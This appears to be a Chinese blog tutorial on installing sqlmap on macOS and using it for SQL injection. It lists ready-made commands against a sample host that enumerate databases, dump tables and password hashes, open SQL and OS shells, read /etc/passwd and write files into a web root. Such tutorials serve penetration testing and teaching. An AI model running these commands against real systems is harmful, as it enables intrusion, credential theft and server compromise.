Mac版 sqlmap 环境配置与常用语法

一、环境配置

启动:source ~/.bash_profile

  1. cd /usr/bin/
  2. sudo git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev (从git上下载)
  3. open -e .bash_profile添加
    alias sqlmap=‘Python /usr/bin/sqlmap-dev/sqlmap.py‘
  4. source ~/.bash_profile
  5. sqlmap (直接输入就会运行sqlmap啦)

二、常用语法

1. 基础篇

  1. -u 目标url

  2. -d DIRECT 直接连接数据库的连接字符串

  3. -I 日志文件 从burp或者webScarab代理日志文件中分析目标

  4. -x 网站地图URL 从远程网站地图(sitemap.xml)文件来解析目标

  5. -m 文件 将目标地址保存在文件中,一行一个url地址进行批量检测

  6. -r 请求文件

  7. -c 配置文件 从配置ini文件中加载选项

  8. -o 打开所有的优化开关

  9. -predict -output 预测普通查询输出

  10. -keep -alive 使用持久http连接

  11. -null -connection 获取页面长度

  12. -level 执行测试的等级(1-5,默认1)

  13. -risk 执行测试的风险 (1-3,默认1)

  14. -string 查询有效时在页面匹配字符串

  15. -not -string 查询无效时在页面匹配字符串

  16. -regexp 查询有效时在页面匹配正则表达式

  17. -current -user 获取数据库管理系统当前用户

  18. -current -db 获取数据库管理系统当前数据库

  19. -hosname 获取数据库服务器主机名称

  20. -user 枚举数据库管理系统用户

  21. -passwords 枚举数据库管理系统用户密码哈希

  22. -privileges 枚举数据库管理系统用户的权限

  23. -dbs 枚举数据库管理系统数据库

  24. -tables 枚举DBMS数据库中的表

  25. -columns 枚举DBMS数据库表列

  26. -dump 转储数据库表项

2. 注入篇

  1. 检测注入点

    sqlmap -u "http://192.168.1.104/sql.php?id=11"

  2. 爆破所有数据库信息

    sqlmap -u “http://192.168.1.104/sql.php?id=11” –-dbs

    爆破当前数据库的所有信息

    sqlmap -u “http://192.168.1.104/sql.php?id=11” -–current-db

  3. 列出指定数据库所有表名

    sqlmap -u “http://192.168.1.104/sql.php?id=11” -D 爆破出的数据库名 –tables

  4. 列出指定表名的所有列名

    sqlmap -u “http://192.168.1.104/sql.php?id=11” -D vhost48330 -T表名 --columns

  5. dump打印输出表名指定列名字段

    sqlmap -u “http://192.168.1.104/sql.php?id=11” -D vhost48330 -T 表名 -C 列名,列名 --dump

三、 用户权限

  1. 列出数据库管理系统用户:

    sqlmap -u “http://192.168.1.104/sql.php?id=11” --users

  2. 查看当前连接数据库用户:

    sqlmap -u “http://192.168.1.104/sql.php?id=11” --current-user

  3. 判断当前用户是否是DBA?

    sqlmap -u “http://192.168.1.104/sql.php?id=11” --is-dba

    DBA 数据库管理员

  4. 查看用户权限:

    sqlmap -u “http://192.168.1.104/sql.php?id=11” –privileges

    privileges 特权

    sqlmap -u “http://192.168.1.104/sql.php?id=11” --privileges -U fujieace

3. Sqlmap文件操作与shell提权篇

  1. sql shell
    这里通过sqlmap可以直接获取一个sql shell,直接执行 sql语句进行交互
    sqlmap -u “http://192.168.1.104/sql.php?id=11” --sql-shell
    sql-shell> select version();

    注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;

  2. cmd shell
    这里通过sqlmap可以直接获取一个cmd shell,直接执行cmd命令进行交互。
    sqlmap -u “http://192.168.1.104/sql.php?id=11” --os-shell
    sqlmap -u “http://192.168.1.104/sql.php?id=11” --os-cmd=ipconfig

  3. 读取服务器上指定文件
    sqlmap -u “http://192.168.1.104/sql.php?id=11” --file-read=/etc/passwd
    sqlmap -u “http://192.168.1.104/sql.php?id=11” --file-read=d:/test.txt

4、写入本地文件到服务器上
sqlmap -u “http://192.168.1.104/sql.php?id=11” --file-write /test/test.txt --file-dest /var/www/html/1.txt

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值